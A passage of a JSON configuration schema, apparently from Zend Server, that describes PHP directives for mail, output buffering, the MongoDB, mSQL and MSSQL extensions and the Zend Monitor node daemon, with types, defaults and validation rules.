                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "nsapi.read_timeout": {
                "shortDescription": "Sets the time in seconds the plugin is waiting for POST data from the client",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "SMTP": {
                "shortDescription": "DNS name or IP address of the SMTP server for mail()",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "sendmail_from": {
                "shortDescription": "Mail address should be used in mail sent from PHP under Windows",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "sendmail_path": {
                "shortDescription": "Where the sendmail program can be found",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "smtp_port": {
                "shortDescription": "Number of the port to connect to the server specified with the SMTP setting",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": 1,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mail.force_extra_parameters": {
                "shortDescription": "Force the addition of the specified parameters to be passed as extra parameters to the sendmail binary",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mail.add_x_header": {
                "shortDescription": "Add X-PHP-Originating-Script that will include UID of the script followed by the filename",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mail.log": {
                "shortDescription": "Log all mail() calls including the full path of the script, line number, To address and headers",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "output_buffering": {
                "shortDescription": "Size of the output buffering",
                "type": 8,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "\/on|off|[0-9]+\/i",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "implicit_flush": {
                "shortDescription": "Implicit (automatic) flush",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "output_handler": {
                "shortDescription": "Redirect all of the output of your scripts to a function",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "url_rewriter.hosts": {
                "shortDescription": "Specifies which hosts are rewritten to include output_add_rewrite_var() values.",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "$_SERVER['HTTP_HOST']"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "printer.default_printer": {
                "shortDescription": "Defines a default printer",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "sql.safe_mode": {
                "shortDescription": "SQL safe mode",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "windows.show_crt_warning": {
                "shortDescription": "",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "cli_server.color": {
                "shortDescription": "Enable the built-in development web server to use ANSI color coding in terminal output.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zf2_path": {
                "shortDescription": "Path to Zend Framework 2",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_server_modules_path": {
                "shortDescription": "Path to Zend Server Gateway",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "mongo": {
        "name": "mongo",
        "extensionId": "mongo",
        "isDaemon": 0,
        "shortDescription": "MongoDB Interface",
        "longDescription": "This package provides an interface for communicating with the MongoDB database in PHP.",
        "iniFileName": "mongo.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "mongo.allow_empty_keys": {
                "shortDescription": "If empty strings (\"\") should be allowed as key names",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mongo.allow_persistent": {
                "shortDescription": "If persistent connections are allowed",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mongo.auto_reconnect": {
                "shortDescription": "Whether to reconnect to the database if the connection is lost",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mongo.chunk_size": {
                "shortDescription": "The number of bytes-per-chunk. Used in divvying up GridFS files",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mongo.cmd": {
                "shortDescription": "A character to be used in place of $ in modifiers and comparisons",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mongo.default_host": {
                "shortDescription": "Default hostname when nothing is passed to the constructor",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mongo.default_port": {
                "shortDescription": "The default TCP port number to use when connecting to the database server if no other port is specified",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mongo.long_as_object": {
                "shortDescription": "Return a BSON_LONG as an instance of MongoInt64",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mongo.native_long": {
                "shortDescription": "On 64-bit platforms, the mongo.native_long setting allows for 64-bit integers to be stored in MongoDB. If it is not set, only 32-bits of the integer will be saved",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mongo.is_master_interval": {
                "shortDescription": "The minimum interval with which the driver will send \"isMaster\" requests to the MongoDB server.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mongo.no_id": {
                "shortDescription": "",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mongo.utf8": {
                "shortDescription": "If an exception should be thrown for non-UTF8 strings",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mongo.ping_interval": {
                "shortDescription": "For replicaset connections: The minimum interval with which the driver will send \"isMaster\" requests to the MongoDB server. If the value is lower, there will be more requests, but the driver finds faster whether the topology of the replicaset has been changed.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "mongodb": {
        "name": "mongodb",
        "extensionId": "mongodb",
        "isDaemon": 0,
        "shortDescription": "MongoDB Interface",
        "longDescription": "This package provides an interface for communicating with the MongoDB database in PHP.",
        "iniFileName": "mongodb.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "mongodb.debug": {
                "shortDescription": "Store full activity debug log in this directory or stream.",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "monitor_node": {
        "name": "monitor_node",
        "isDaemon": 1,
        "shortDescription": "Zend Monitor Node Daemon",
        "longDescription": "The Zend Monitor Node Daemon is the node events collector.",
        "iniFileName": "monitor_node.ini",
        "subPath": "",
        "directives": {
            "zend_monitor.global_directives_ini_file": {
                "shortDescription": "Global Directives ini File.",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "GLOBAL_DIRECTIVES_INI_FILE"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor.node_id": {
                "shortDescription": "Node Id",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor.daemon.log_verbosity": {
                "shortDescription": "The Log's verbosity level.",
                "type": 3,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "2"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:6:{i:0;s:1:\"0\";i:1;s:1:\"1\";i:2;s:1:\"2\";i:3;s:1:\"3\";i:4;s:1:\"4\";i:5;s:1:\"5\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor.daemon.log_rotation_size": {
                "shortDescription": "The maximum size of the log file before it is rotated.",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "10"
                    }
                ],
                "units": "MBytes",
                "validation": {
                    "minValue": 0,
                    "maxValue": 1000,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor.daemon.zdo_log_verbosity": {
                "shortDescription": "Transport Log's Verbosity Level.",
                "type": 3,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:6:{i:0;s:1:\"0\";i:1;s:1:\"1\";i:2;s:1:\"2\";i:3;s:1:\"3\";i:4;s:1:\"4\";i:5;s:1:\"5\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor.single_instance_sem": {
                "shortDescription": "Single Monitor Node Semaphore Name.",
                "type": 1,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "single_monitor_node.sem"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor.daemon.events_transport_parameter": {
                "shortDescription": "Network parameter for Event reporting to the Monitor Node.",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "events.sock",
                        "restrictions": [
                            {
                                "os": "UnixAll",
                                "product": "ZenithPE"
                            }
                        ]
                    },
                    {
                        "fixed": "events",
                        "restrictions": [
                            {
                                "os": "WindowsAll",
                                "product": "ZenithPE"
                            }
                        ]
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor.daemon.commands_transport_parameter": {
                "shortDescription": "Network Parameter for Commands to the Monitor Node.",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "commands.sock",
                        "restrictions": [
                            {
                                "os": "UnixAll",
                                "product": "ZenithPE"
                            }
                        ]
                    },
                    {
                        "fixed": "commands",
                        "restrictions": [
                            {
                                "os": "WindowsAll",
                                "product": "ZenithPE"
                            }
                        ]
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor.database.max_commit_retry": {
                "shortDescription": "Maximum commit retries when the DB is locked.",
                "type": 4,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "5"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor.daemon.aggregation.ttl": {
                "shortDescription": "Time duration (in seconds) before the aggregation data is reset\n\t\t\t\t\t   if an event with an aggregation key is not triggered.",
                "type": 4,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "300"
                    }
                ],
                "units": "seconds",
                "validation": {
                    "minValue": 1,
                    "maxValue": 3600,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor.daemon.aggregation.max_reporting_interval": {
                "shortDescription": "Maximum time interval between reporting.",
                "type": 4,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "300"
                    }
                ],
                "units": "seconds",
                "validation": {
                    "minValue": 1,
                    "maxValue": 3600,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor.daemon.events_rules_file_name": {
                "shortDescription": "Events Rules XML File Name. For the full path, concatenate it with zend.conf_dir value. ",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "monitor_rules.json"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor.sendmail_from": {
                "shortDescription": "Send Mail from email Address.",
                "type": 1,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor.gui_host_name": {
                "shortDescription": "Host name (and port) of the Zend Server GUI",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": true
                },
                "requiresRestart": 0
            },
            "zend_monitor.max_events_queue_size": {
                "shortDescription": "Maximum size of the Events Queue (in MB).",
                "type": 4,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": "5"
                    }
                ],
                "units": "MBytes",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor.queue_flush_interval": {
                "shortDescription": "Number of event reports to cache before flushing them into the database.",
                "type": 4,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor.gui_default_emails": {
                "shortDescription": "\n                    A semicolon separated list of email addresses which serves as the default list for events\n                ",
                "type": 1,
                "section": "",
                "visibility": "1",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor.persistent_smtp": {
                "shortDescription": "Use a persistent connection to the SMTP server.",
                "type": 2,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "zend_monitor.function_argument_max_size": {
                "shortDescription": "Maximum size of the function argument stored in the databse.",
                "type": 4,
                "section": "",
                "visibility": "2",
                "defaultValues": [
                    {
                        "fixed": "4"
                    }
                ],
                "units": "KBytes",
                "validation": {
                    "minValue": 1,
                    "maxValue": 63,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "msql": {
        "name": "msql",
        "extensionId": "msql",
        "isDaemon": 0,
        "shortDescription": "mSQL",
        "longDescription": "",
        "iniFileName": "msql.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "msql.allow_persistent": {
                "shortDescription": "Allow persistent mSQL connections",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "msql.max_persistent": {
                "shortDescription": "Maximum number of persistent mSQL connections",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": -1,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "msql.max_links": {
                "shortDescription": "Maximum number of all mSQL connections",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": -1,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "mssql": {
        "name": "mssql",
        "extensionId": "mssql",
        "isDaemon": 0,
        "shortDescription": "Free TDS MSSQL DB Access",
        "longDescription": "Allows you to access MS SQL Server database based on the FreeTDS library.\nNote:\nFreeTDS libraries must be installed in order for this extension to function.",
        "iniFileName": "mssql.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "mssql.allow_persistent": {
                "shortDescription": "Allow persistent MSSQL connections",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mssql.compatability_mode": {
                "shortDescription": "MSSQL compatibility mode with PHP 3.0",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mssql.compatibility_mode": {
                "shortDescription": "",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mssql.max_persistent": {
                "shortDescription": "Maximum number of persistent MSSQL connections",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": -1,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mssql.max_links": {
                "shortDescription": "Maximum number of all MSSQL connections",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": -1,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "mssql.min_error_severity": {
                "shortDescription": "Minimal error severity to display",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
